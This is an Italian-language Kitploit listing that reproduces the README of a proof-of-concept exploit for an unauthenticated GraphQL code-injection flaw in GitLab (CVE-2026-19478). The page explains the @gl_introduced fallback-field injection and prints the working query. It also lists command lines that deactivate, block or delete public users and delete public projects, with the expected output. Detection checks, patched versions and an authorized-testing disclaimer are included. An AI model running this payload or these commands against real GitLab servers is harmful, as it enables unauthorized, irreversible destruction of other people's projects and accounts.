Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-19478-PoC — Exploit proof-of-concept per l'iniezione di codice remota non autenticata nell'API GraphQL di GitLab, che utilizza query appositamente formulate per modificare o eliminare progetti e utenti pubblici. | Kitploit
Strumenti/GitHubGitHub/davkharrr/cve-2026-19478-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingSicurezza delle API
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Exploit proof-of-concept per l'iniezione di codice remota non autenticata nell'API GraphQL di GitLab, che utilizza query appositamente formulate per modificare o eliminare progetti e utenti pubblici.

Vedi Repository
1151222 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 PoC

Iniezione di codice remota non autenticata nel livello GraphQL di GitLab che consente a un attaccante di modificare o eliminare progetti pubblici e dati utente con una singola query appositamente costruita. Nessuna autenticazione, nessuna interazione con l'utente, nessun privilegio speciale.

Gravità9.4 Critica — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Controllo improprio della generazione di codice / Iniezione di codice)
Versioni interessateGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Versione corretta18.11.11, 19.0.8, 19.1.6, 19.2.4
Divulgata2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

L'exploit è un'iniezione di codice tramite campo di fallback: un nome di campo scelto dall'attaccante in una query GraphQL viene trasformato in una chiamata arbitraria a public_send sul modello ActiveRecord sottostante (Project, User, ...). Poiché il campo di fallback viene creato solo quando la query trasporta anche una direttiva @gl_introduced "futura", la direttiva è la primitiva di iniezione.


Versioni interessate

SerieInteressateCorretta
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

Lo script esegue un rilevamento della versione best-effort (/api/v4/version con un token, /help, /users/sign_in) e segnala se il target rientra negli intervalli interessati.


Rilevamento

  • Controllo versione: qualsiasi GitLab negli intervalli interessati è vulnerabile.
  • Controllo comportamentale (sicuro): invia il payload benigno touch qui sopra. Un'istanza vulnerabile restituisce "touch": true; un'istanza patchata restituisce Field 'touch' doesn't exist on type 'Project'.
  • Controllo dello schema: un'istanza vulnerabile espone la direttiva gl_introduced nello schema GraphQL (/api/graphql introspection). Le istanze patchate potrebbero ancora esporla, quindi il controllo comportamentale è quello autorevole.

Utilizzo

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OpzioneDescrizione
--urlURL base di GitLab, es. https://gitlab.example.com
--projectPercorso completo di un progetto pubblico, es. group/subgroup/project
--userNome utente di un utente pubblico, es. alice
--modecheck (default, touch benigno) · modify (utente: deactivate, progetto: touch) · destroy · delete · custom
--methodNome del metodo per --mode custom (deve essere un nome GraphQL valido)
--tokenPRIVATE-TOKEN GitLab opzionale (rilevamento versione / autenticazione)
--versionSalta il rilevamento, forza una stringa di versione
--insecureDisabilita la verifica del certificato TLS

Le modalità distruttive (modify, destroy, delete) richiedono una conferma interattiva yes.

Esempi

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Output atteso

Istanza vulnerabile

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Istanza patchata

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

La risposta di un'istanza patchata è un normale errore di validazione GraphQL:

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Parent non risolvibile

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

Il target deve essere pubblico (visibilità del progetto Public, oppure un utente il cui profilo è risolvibile pubblicamente tramite GraphQL). Se il parent è null, il metodo non viene mai chiamato.


Rimedio

  • Aggiorna a GitLab 18.11.11, 19.0.8, 19.1.6 o 19.2.4 (o versioni successive).
  • Fino alla patch: limita l'accesso di rete a /api/graphql, oppure disabilita la funzione di filtro versione @gl_introduced se non necessaria.

Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Commit di correzione: e283c6ad "Prevent calling object method when resolving fallback field"

Questo PoC è fornito esclusivamente per ricerca di sicurezza difensiva e test autorizzati. Non eseguirlo contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare.

Scarica lo strumento